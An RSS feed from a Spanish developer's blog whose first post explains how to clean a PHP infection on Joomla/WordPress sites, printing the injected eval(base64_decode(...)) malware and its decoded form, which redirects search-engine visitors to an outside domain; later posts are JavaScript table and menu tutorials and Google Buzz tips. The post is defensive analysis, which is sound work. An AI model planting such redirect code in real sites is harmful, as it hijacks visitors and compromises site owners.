<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dsite.es &#187; Página personal de David Figueres, desarrollador Web, Multimedia y más&#8230;</title>
	<atom:link href="http://www.dsite.es/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dsite.es</link>
	<description>Página personal de David Figueres, donde encontraras los proyectos en que he trabajado y futuros desarrollos.</description>
	<lastBuildDate>Mon, 26 Sep 2011 07:18:15 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Eliminación del virus eval(base64_decode</title>
		<link>http://www.dsite.es/eliminacion-del-virus-evalbase64_decode/</link>
		<comments>http://www.dsite.es/eliminacion-del-virus-evalbase64_decode/#comments</comments>
		<pubDate>Fri, 23 Sep 2011 15:19:29 +0000</pubDate>
		<dc:creator>David Figueres Villaró</dc:creator>
				<category><![CDATA[información]]></category>

		<guid isPermaLink="false">http://www.dsite.es/?p=184</guid>
		<description><![CDATA[Hola, hace unos días me encontré que algunos sitios Web realizados con Joomla o WordPress habían sido infectados con un virus que inyecta código tipo eval(base64_decode(ZXJyb3JfcmVwb3J0aW5nKDApOw0K al inicio de algunos ficheros PHP. Este virus hace que al entrar en estas páginas, mediante enlaces procedentes de estos dominios: yandex yahoo google bing rambler gogo live.com aport [...]]]></description>
			<content:encoded><![CDATA[<p>Hola, hace unos días me encontré que algunos sitios Web realizados con Joomla o WordPress habían sido infectados con un virus que inyecta código tipo <strong>eval(base64_decode(ZXJyb3JfcmVwb3J0aW5nKDApOw0K </strong>al inicio de algunos ficheros <strong>PHP</strong>.</p>
<p>Este virus hace que al entrar en estas páginas, mediante enlaces procedentes de estos dominios:</p>
<p><span id="more-184"></span></p>
<ul>
<li>yandex</li>
<li>yahoo</li>
<li>google</li>
<li>bing</li>
<li>rambler</li>
<li>gogo</li>
<li>live.com</li>
<li>aport</li>
<li>nigma</li>
<li>webalta</li>
<li>baidu.com</li>
<li>doubleclick.net</li>
<li>bebun.ru</li>
<li>stumbleuponcom</li>
<li>bit.ly</li>
<li>tinyurl.com</li>
<li>clickbank.net</li>
<li>blogspot.com</li>
<li>myspace.com</li>
<li>facebook.com</li>
<li>aol.com</li>
</ul>
<p>El enlace a la Web es redirigido a la Web: http://breakingbad.osa.pl o similares.</p>
<p>Este es el código del virus:</p>
<pre class="brush:php" style="padding-left: 30px;">eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsNCmlmICghJHFhenBsbSl7DQokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmICgkdWFnKSB7DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFuZGV4Iikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiYWlkdS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJkb3VibGVjbGljay5uZXQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiY2xpY2tiYW5rLm5ldCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJsb2dzcG90LmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpew0KCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9icmVha2luZ2JhZC5vc2EucGwvIik7DQoJZXhpdCgpOw0KfQ0KfQ0KCX0NCgl9"))</pre>
<p>Que analizando su código tenemos:</p>
<pre class="brush:php" style="padding-left: 30px;">error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yandex") or stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"baidu.com") or stristr($referer,"doubleclick.net") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or stristr($referer,"clickbank.net") or stristr($referer,"blogspot.com") or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://breakingbad.osa.pl/");
exit();
}
}
}
}</pre>
<p>Si ya estáis infectados, y tenéis muchos ficheros modificados lo mejor que podéis hacer es usar un código como este (en consola) para que elimine toda la cadena de texto de los ficheros php infectados (bajo vuestra responsabilidad):</p>
<pre class="brush:bash" style="padding-left: 30px;">find * -type f -name '*.php' -exec sed -i 's/código a buscar//g' {} \;</pre>
<p>Con lo que quedaría:</p>
<pre class="brush:bash" style="padding-left: 30px;">find * -type f -name '*.php' -exec sed -i 's/eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsNCmlmICghJHFhenBsbSl7DQokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsNCmlmICgkdWFnKSB7DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFuZGV4Iikgb3Igc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiYWlkdS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJkb3VibGVjbGljay5uZXQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiY2xpY2tiYW5rLm5ldCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJsb2dzcG90LmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm15c3BhY2UuY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZmFjZWJvb2suY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7DQppZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpew0KCWhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9icmVha2luZ2JhZC5vc2EucGwvIik7DQoJZXhpdCgpOw0KfQ0KfQ0KCX0NCgl9"))//g' {} \;</pre>
<p>Otra opción también es deshabilitar la función eval de php. Si esto no afecta a ninguna página que esté en el servidor:</p>
<p>Abrir configuración php:
<pre class="brush:bash">vi /etc/php.ini</pre>
<p>modificar:
<pre class="brush:bash">disable_funcions = "eval"</pre>
<p>reiniciar servidor:
<pre class="brush:bash">service httpd restart</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.dsite.es/eliminacion-del-virus-evalbase64_decode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Buscar y ordenar texto con acentos en TinyTable v3</title>
		<link>http://www.dsite.es/buscar-y-ordenar-texto-con-acentos-en-tinytable-v3/</link>
		<comments>http://www.dsite.es/buscar-y-ordenar-texto-con-acentos-en-tinytable-v3/#comments</comments>
		<pubDate>Sun, 13 Jun 2010 16:53:50 +0000</pubDate>
		<dc:creator>David Figueres Villaró</dc:creator>
				<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.dsite.es/?p=167</guid>
		<description><![CDATA[Después de algún tiempo usando uno de los mejores scripts JavaScript que encontré para la ordenación, búsqueda y paginación de tablas HTML he decidido hacerle algún cambio para corregir sus problemas en la ordenación y búsqueda de palabras con acentos. Lo primero a realizar para poder desarrollar estas modificaciones, ha sido estudiar el funcionamiento del [...]]]></description>
			<content:encoded><![CDATA[<p>Después de algún tiempo usando uno de los mejores scripts JavaScript que encontré para la ordenación, búsqueda y paginación de tablas HTML he decidido hacerle algún cambio para corregir sus problemas en la ordenación y búsqueda de palabras con acentos.<span id="more-167"></span></p>
<p>Lo primero a realizar para poder desarrollar estas modificaciones, ha sido estudiar el funcionamiento del motor de <a href="http://www.leigeber.com/2009/11/advanced-javascript-table-sorter/" target="_blank">TinyTable v3</a>. Fruto de este he dado en la clave de las modificaciones necesarias para el correcto funcionamiento.</p>
<h2>Eliminación de acentos y otros caracteres en JavaScript</h2>
<p>Hay muchos códigos por internet sobre la eliminación de acentos, pero por algún motivo que no he llegado a encontrar en TinyTable no funcionaban correctamente y es por eso que realicé este script para la eliminación de acentos:</p>
<pre class="brush:javascript">function til(t){
   var ts = '';
   for(var i=0;i&lt;t.length;i++)
   {
      var c = t.charCodeAt(i);
      if(c &gt;= 224 &amp;&amp; c &lt;= 230)
         ts += 'a';
      else if(c &gt;= 232 &amp;&amp; c &lt;= 235)
         ts += 'e';
      else if(c &gt;= 236 &amp;&amp; c &lt;= 239)
         ts += 'i';
      else if(c &gt;= 242 &amp;&amp; c &lt;= 246)
         ts += 'o';
      else if(c &gt;= 249 &amp;&amp; c &lt;= 252)
         ts += 'u';
      else
         ts += t.charAt(i);
   }
   return ts;
};</pre>
<p>Podéis consultar las tablas de codificación de <a href="http://www.google.es/search?hl=es&amp;q=tabla+caracteres+ascii" target="_blank">caracteres ASCII</a>.</p>
<h2>Modificaciones a TinyTable v3</h2>
<p>Fichero tinytable/script-new.js</p>
<p>En el método <strong>search </strong>(sorter.prototype.search) es necesario llamar a til() para que el texto que viene del campo de búsqueda y el texto que compra en la tabla HTML sean procesados sin acentos, así como la comparación sea basada en estos:</p>
<pre class="brush:javascript">sorter.prototype.search=function(f){
   var i=x=n=0, k=-1, q=til(T$(f).value.toLowerCase());
   if(this.p.colddid){k=T$(this.p.colddid).value}
   [...]
   for(x=s;x&lt;e;x++){
      var b=til(r.cells[x].innerHTML.toLowerCase());
      if(b.indexOf(q)==-1){v=0}else{v=1; break}
   }
[...]</pre>
<p>El método <strong>sort </strong>(sorter.prototype.sort) es el encargado de ordenar las columnas, pero la decisión sobre el orden lo hace el método cp() (comparation) y es aquí donde he tenido que realizar las modificaciones añadiendo el uso de til():</p>
<pre class="brush:javascript">function cp(f,c){
   var g,h; f=g=til(f.v.toLowerCase()); c=h=til(c.v.toLowerCase());
   var i=parseFloat(f.replace(/(\$|\,)/g,'')), n=parseFloat(c.replace(/(\$|\,)/g,''));
[...]</pre>
<h2>Ejemplo y descarga</h2>
<p>Aquí os dejo un ejemplo y el código para que lo podáis usar fácilmente.</p>
<p><a href="http://www.dsite.es/public_scripts/tinytablev3_demo_2/" target="_blank">Puedes ver un ejemplo aquí</a></p>
<p><a href="http://www.dsite.es/public_scripts/tinytablev3_demo_2/tinytable-new_2.rar" target="_blank">Descargar código completo</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dsite.es/buscar-y-ordenar-texto-con-acentos-en-tinytable-v3/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Controlar la posición de jQuery Context Menu</title>
		<link>http://www.dsite.es/controlar-la-posicion-de-jquery-context-menu/</link>
		<comments>http://www.dsite.es/controlar-la-posicion-de-jquery-context-menu/#comments</comments>
		<pubDate>Sat, 12 Jun 2010 19:59:16 +0000</pubDate>
		<dc:creator>David Figueres Villaró</dc:creator>
				<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.dsite.es/?p=157</guid>
		<description><![CDATA[Después de mi artículo TinyTable v3 con jQuery Context Menu y Dialog UI y de los comentarios sobre el posicionamiento del menú contextual, he decidido hacer este pequeño artículo sobre cómo controlar su posición y evitar que salga fuera de TinyTable o de cualquier otro elemento del que dependa. Sin las modificaciones en el código [...]]]></description>
			<content:encoded><![CDATA[<p>Después de mi artículo <a href="http://www.dsite.es/tinytable-v3-con-jquery-context-menu-y-dialog-ui" target="_self">TinyTable v3 con jQuery Context Menu y Dialog UI</a> y de los comentarios sobre el posicionamiento del menú contextual, he decidido hacer este pequeño artículo sobre cómo controlar su posición y evitar que salga fuera de TinyTable o de cualquier otro elemento del que dependa.</p>
<p>Sin las modificaciones en el código de <a href="http://abeautifulsite.net/2008/09/jquery-context-menu-plugin/" target="_blank">jQuery ContextMenu</a> pasa esto:</p>
<p><a href="http://www.dsite.es/wp-content/uploads/2010/06/tinytable-contextmenu-original.jpg"><img class="aligncenter size-full wp-image-158" title="tinytable-contextmenu-original" src="http://www.dsite.es/wp-content/uploads/2010/06/tinytable-contextmenu-original.jpg" alt="" width="543" height="209" /></a></p>
<p>En el directorio jqueryContextMenu encontramos jquery.contextMenu.js dónde está el código JavaScript de menú contextual. Sólo es necesario añadir estas líneas para que quede así:</p>
<pre class="brush:javascript">(e.pageX) ? x = e.pageX : x = e.clientX + d.scrollLeft;
(e.pageY) ? y = e.pageY : x = e.clientY + d.scrollTop;

//Código añadido
var menuW = menu.width();
var parentRightPosition = $(this).position().left+$(this).width();
if((x+menuW) &gt; parentRightPosition)
{
     x -= menuW;
}
//fin código añadido
// Show the menu
$(document).unbind('click');
$(menu).css({ top: y, left: x }).fadeIn(o.inSpeed);</pre>
<p>Gracias a este código se puede controlar la posición donde va a aparecer el menú contextual, que en nuestro caso es hacia la izquierda si iba a salir fuera del elemento padre:</p>
<p><a href="http://www.dsite.es/wp-content/uploads/2010/06/tinytable-contextmenu-modificado.jpg"><img class="aligncenter size-full wp-image-162" title="tinytable-contextmenu-modificado" src="http://www.dsite.es/wp-content/uploads/2010/06/tinytable-contextmenu-modificado.jpg" alt="" width="526" height="209" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dsite.es/controlar-la-posicion-de-jquery-context-menu/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>TinyTable v3 con jQuery Context Menu y Dialog UI</title>
		<link>http://www.dsite.es/tinytable-v3-con-jquery-context-menu-y-dialog-ui/</link>
		<comments>http://www.dsite.es/tinytable-v3-con-jquery-context-menu-y-dialog-ui/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 15:42:36 +0000</pubDate>
		<dc:creator>David Figueres Villaró</dc:creator>
				<category><![CDATA[javascript]]></category>

		<guid isPermaLink="false">http://www.dsite.es/?p=128</guid>
		<description><![CDATA[Introducción Hace ya algún tiempo que en la Web de anieto2k encontré un interesante artículo sobre TinyTable v3. TinyTable v3 es un script Javascript que agrega ordenación, búsqueda, promedios de columna y totales, paginación... en tablas HTML. Todo esto lo hace con tan sólo 7Kb!! Partiendo de esta base y después de usar TinyTable en [...]]]></description>
			<content:encoded><![CDATA[<h2>Introducción</h2>
<p>Hace ya algún tiempo que en la Web de <a href="http://www.anieto2k.com/2009/11/16/tinytable-v3-la-herramienta-perfecta-para-tus-tablas/" target="_blank">anieto2k </a>encontré un interesante artículo sobre <a href="http://www.leigeber.com/2009/11/advanced-javascript-table-sorter/">TinyTable v3</a>.</p>
<p>TinyTable v3 es un script Javascript que agrega ordenación, búsqueda, promedios de columna y totales, paginación... en tablas HTML. Todo esto lo hace con tan sólo 7Kb!!</p>
<p>Partiendo de esta base y después de usar TinyTable en diferentes proyectos he visto la necesidad de extender sus funcionalidades, concretamente el uso de <a href="http://abeautifulsite.net/2008/09/jquery-context-menu-plugin/" target="_blank">jQuery Context Menu</a> y <a href="http://jqueryui.com/demos/dialog/" target="_blank">jQuery Dialog UI</a>.</p>
<p style="text-align: center;"><a href="http://www.dsite.es/wp-content/uploads/2010/03/tinytable-contextmenu.jpg"><img class="aligncenter size-full wp-image-145" title="tinytable-contextmenu" src="http://www.dsite.es/wp-content/uploads/2010/03/tinytable-contextmenu.jpg" alt="" width="509" height="217" /></a></p>
<h2><span id="more-128"></span>Librerías usadas</h2>
<p>Listado de librerías usadas para este desarrollo:</p>
<ul>
<li><a href="http://jquery.com/" target="_blank">JQuery 1.4.2</a></li>
<li>TinyTable v3</li>
<li>jQuery Context Menu</li>
<li>jQuery Dialog UI</li>
</ul>
<h2>Motor del sistema</h2>
<p>Para poder controlar todas las acciones que intervienen en el Script programado he creado un "controller" para canalizarlas y así simplificar el código:</p>
<pre class="brush:javascript">function Controller(action, el)
{
	//COLUMNA de TinyTable con el id principal
	var idColumn = 0;
	//COLUMNA de TinyTable con el nombre más destacado
	var nameColumn = 1;
	var ids = $(el).children('td').eq(idColumn).text();

	switch(action)
	{
		case "eliminarAction":
			alert("Eliminar "+$('#dialogTable #idEliminar').text());
			break;
		case "eliminar":
			$('#dialogTable').dialog('open');
			$('#dialogTable #nomEliminar').text($(el).children('td').eq(nameColumn).text());
			$('#dialogTable #idEliminar').text(ids);
			break;
		case "editar":
			alert("Eliminar fila: "+ids);
			break;
	}
}</pre>
<p>Como queremos que el menú secundario aparezca en cada fila de la tabla, creamos un método para poder inicializar las propiedades de las fila "TR" al finalizar la carga de la página y al realizar una reordenación de la tabla.</p>
<pre class="brush:javascript">function initFuncionsTaula()
{
//Iniciamos el menú secundario personalizado para las filas de la tabla
	$('#tableData tbody tr').contextMenu({
			menu: 'contextMenuElements',
			inSpeed: 10,
			outSpeed: 10
		},
		function(action, el, pos) {
			Controller(action, el)
		}
	);
//Permitimos que se pueda editar la fila con doble click de ratón.
	$('#tableData tbody tr').dblclick(
		function() {
			Controller('editar', this)
		}
	);
}</pre>
<h2>Modificaciones a Tiny Table v3</h2>
<p>Tiny Table al ordenar y al hacer un reset en las filas, reescribe el contenido de ellas una vez ordenadas internamente, esto hace que las inicializaciones de initFunctionsTaula() no tengan efecto. Es por eso que he hecho unas pequeñas modificaciones a Tiny Table para que inicialice nuestros métodos cada vez que se cambia la estructura:</p>
<p>Fichero tinytable/script-new.js</p>
<pre class="brush:javascript">[...]
TINY.table=function(){
	function sorter(n,t,p,r){this.n=n; this.id=t; this.p=p; if(r == undefined ) r = function(){}; this.r = r; if(this.p.init){this.init()}}
[...]</pre>
<p>Ahora Tiny Table v3 tiene un cuarto parámetro que es una función que se llamará en sorter.prototype.reset y sorter.prototype.sort, como this.r().</p>
<h2>Inicialización de Tiny Table y jQuery Dialog UI</h2>
<p>Para finalizar nuestro código Javascrit para que todo funcione nos falta iniciar Tiny Table con el método initFunctionsTaula() y jQuery Dialog UI usando $(document).ready() de Jquery:</p>
<pre class="brush:javascript">var sorter = null;
$(document).ready( function() {
	//INICIAR TINYTABLE
	sorter = new TINY.table.sorter('sorter','tableData',{
		headclass:'head',
		ascclass:'asc',
		descclass:'desc',
		evenclass:'evenrow',
		oddclass:'oddrow',
		evenselclass:'evenselected',
		oddselclass:'oddselected',
		paginate:true,
		size:10,
		colddid:'columns',
		currentid:'currentpage',
		totalid:'totalpages',
		startingrecid:'startrecord',
		endingrecid:'endrecord',
		totalrecid:'totalrecords',
		hoverid:'selectedrow',
		pageddid:'pagedropdown',
		navid:'tablenav',
		sortcolumn:1,
		sortdir:1,
		sum:[8],
		avg:[6,7,8,9],
		columns:[{index:7, format:'%', decimals:1},{index:8, format:'$', decimals:0}],
		init:true
		},
		function() {initFuncionsTaula()}
	);
	//INICIALIZAR EL MÓDULO DE DIALOGO
	$("#dialogTable").dialog({
		bgiframe: true,
		resizable: false,
		autoOpen: false,
		modal: true,
		overlay: {
			backgroundColor: '#000',
			opacity: 0.5
		},
		buttons: {
			'Cancelar': function() {
				$(this).dialog('close');
			},
			'Eliminar esta fila': function() {
				Controller('eliminarAction',this);
				$(this).dialog('close');
			}
		}
	});
});</pre>
<p style="text-align: center;"><a href="http://www.dsite.es/wp-content/uploads/2010/03/tinytable-dialog.jpg"><img class="aligncenter size-full wp-image-148" title="tinytable-dialog" src="http://www.dsite.es/wp-content/uploads/2010/03/tinytable-dialog.jpg" alt="" width="509" height="217" /></a></p>
<p>Para el menú secundario ContextMenu será necesario algo como esto:</p>
<pre class="brush:html">
<ul id="contextMenuElements" class="contextMenu">
<li class="edit"><a href="#editar">Editar</a></li>
<li class="delete"><a href="#eliminar">Eliminar</a></li>
</ul>
</pre>
<p>Y esto para el contenido del diálogo de eliminar:</p>
<pre class="brush:html">
<div id="dialogTable" title="¿Eliminar la fila seleccionada?">
<input id="idEliminar" type="hidden" />

<span class="ui-icon ui-icon-alert" style="float: left; margin: 0 7px 20px 0;"> </span>Está intentando eliminar la fila:

<strong>

</strong>
¿Está seguro que desea continuar?</div>
</pre>
<h2>Ejemplo y descarga</h2>
<p>Aquí os dejo un ejemplo y el código para que lo podáis usar fácilmente.</p>
<p><a href="http://www.dsite.es/public_scripts/tinytablev3_demo/" target="_blank">Puedes ver un ejemplo aquí</a></p>
<p><a href="http://www.dsite.es/public_scripts/tinytablev3_demo/tinytable-new.rar" target="_blank">Descargar código completo</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dsite.es/tinytable-v3-con-jquery-context-menu-y-dialog-ui/feed/</wfw:commentRss>
		<slash:comments>37</slash:comments>
		</item>
		<item>
		<title>Google buzz, trucos e información</title>
		<link>http://www.dsite.es/google-buzz-trucos-e-informacion/</link>
		<comments>http://www.dsite.es/google-buzz-trucos-e-informacion/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 14:12:15 +0000</pubDate>
		<dc:creator>David Figueres Villaró</dc:creator>
				<category><![CDATA[información]]></category>

		<guid isPermaLink="false">http://www.dsite.es/?p=86</guid>
		<description><![CDATA[Hace dos días que Google puso a disposición de todos los usuarios de GMail la herramienta social Buzz. En pocos días Internet se ha llenado de resultados sobre Google Buzz, pero me gustaría explicar algunos puntos importantes que se deben tener en cuenta: ¿Que implica un comentario público en Google buzz? Todo que se publique como [...]]]></description>
			<content:encoded><![CDATA[<p>Hace dos días que Google puso a disposición de todos los usuarios de GMail la herramienta social <a href="http://www.google.com/buzz?hl=es" target="_blank">Buzz</a>.</p>
<p><a href="http://www.dsite.es/wp-content/uploads/2010/02/1444417344-GoogleBuzzLogo68.png"><img class="aligncenter size-full wp-image-87" title="Google buzz" src="http://www.dsite.es/wp-content/uploads/2010/02/1444417344-GoogleBuzzLogo68.png" alt="" width="286" height="68" /></a></p>
<p>En pocos días Internet se ha llenado de resultados sobre Google Buzz, pero me gustaría explicar algunos puntos importantes que se deben tener en cuenta:</p>
<p><strong>¿Que implica un comentario público en Google buzz? </strong></p>
<p>Todo que se publique como "público" será indexado por Google Search en sus resultados, puesto que estas entradas aparecen en el perfil público de Google.</p>
<p>Por ejemplo:</p>
<p><a href="http://www.google.com/profiles/109348304351241456985">http://www.google.com/profiles/109348304351241456985</a></p>
<p>o bien</p>
<p><a href="http://www.google.com/profiles/nombreusuario">http://www.google.com/profiles/nombreusuario</a></p>
<p>Es importante conocer esto, ya que muchas veces no vamos a querer que el resto del mundo tenga acceso a los comentarios que pongamos.</p>
<p>Lo ideal para aquellos a quienes no les gusta las redes sociales, pero en cambio les gusta compartir cosas con sus contactos de GMail, sería poner los post como privados, y asignados a los grupos que interese.</p>
<p><strong>¿Qué comentarios puedo ver?</strong></p>
<p>Como usuario de Buzz puedes ver todos los comentarios de las personas que tienes configuradas como “siguiendo” que hagan posts públicos o bien a un grupo privado al que pertenezcas.</p>
<p>Pero también puedes seguir un hilo de conversación de un grupo de personas que no conoces, si una de las que responde es contacto tuyo.</p>
<p><strong>¿Cómo envío un post privado a un usuario concreto sin crear un grupo?</strong></p>
<p>Por último, lo más importante,  cómo enviar un post privado de forma individual:</p>
<ol>
<li>Crear un Buzz privado.</li>
<li>Seleccionar un grupo de amigos con 0 amigos.</li>
<li>Usar el símbolo @ más la dirección de correo de tu amigo a quien enviar el Buzz. Por ejemplo @micorreo@gmail.com</li>
<li>Publicar el mensaje y éste será privado entre tú y la persona o personas que has puesto en el cuerpo del mensaje.</li>
</ol>
<p><a href="http://www.dsite.es/wp-content/uploads/2010/02/capturaBuzz.jpg"><img class="aligncenter size-full wp-image-88" title="Envío de mensajes privados" src="http://www.dsite.es/wp-content/uploads/2010/02/capturaBuzz.jpg" alt="" width="686" height="352" /></a></p>
<p>Esta información la hemos obtenido  conjuntamente con unos compañeros, entre ellos <a href="http://blog.gsanz.com/" target="_blank">Gerard Sanz</a>, a base de hacer pruebas…. ya que Google buzz no dispone de ayuda al respeto.</p>
<p>Espero que os sea útil esta información!!</p>
<p><strong>Actualizado:</strong></p>
<p>Podéis encontrar más información aquí: <a href="http://aext.net/2010/02/12-undocumented-tricks-for-google-buzz/">http://aext.net/2010/02/12-undocumented-tricks-for-google-buzz/</a></p>
<p>y aquí: <a href="http://www.elmundo.es/elmundo/2010/02/15/navegante/1266226647.html" target="_blank">Google Buzz introduce nuevos cambios por segunda vez en una semana</a></p>
<p><strong>Nueva actualización 21/02/2010 22:00<br />
</strong><br />
El equipo de Google Buzz ha sacado un Buzz donde se van contando las mejoras y algunos trucos. Os dejo el link: <a href="http://www.google.com/profiles/googlebuzz#buzz">http://www.google.com/profiles/googlebuzz#buzz</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dsite.es/google-buzz-trucos-e-informacion/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Jugar a Play-chek!</title>
		<link>http://www.dsite.es/jugar-a-play-chek/</link>
		<comments>http://www.dsite.es/jugar-a-play-chek/#comments</comments>
		<pubDate>Sun, 07 Feb 2010 19:43:42 +0000</pubDate>
		<dc:creator>David Figueres Villaró</dc:creator>
				<category><![CDATA[proyectos]]></category>

		<guid isPermaLink="false">http://www.dsite.es/?p=54</guid>
		<description><![CDATA[Ya está disponible la versión 1.0 de de Play-chek, creada en 2004, de forma on-line! Información sobre Play-chek]]></description>
			<content:encoded><![CDATA[<p>Ya está disponible la versión 1.0 de de Play-chek, creada en 2004, de forma on-line!</p>

    <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="swfobj_0" width="525" height="394" align="center">
      <param name="movie" value="http://www.dsite.es/play-chek/inicio_cs3.swf" />
      <param name="align" value="center" />
      <param name="allowfullscreen" value="true" />
      <!--[if !IE]>-->
      <object type="application/x-shockwave-flash" data="http://www.dsite.es/play-chek/inicio_cs3.swf" width="525" height="394" align="center" allowfullscreen="true">
      <!--<![endif]-->
        
      <!--[if !IE]>-->
      </object>
      <!--<![endif]-->
    </object>

<p><a href="http://www.dsite.es/play-chek-un-juego-interactivo-sobre-diabetes/">Información sobre Play-chek</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dsite.es/jugar-a-play-chek/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

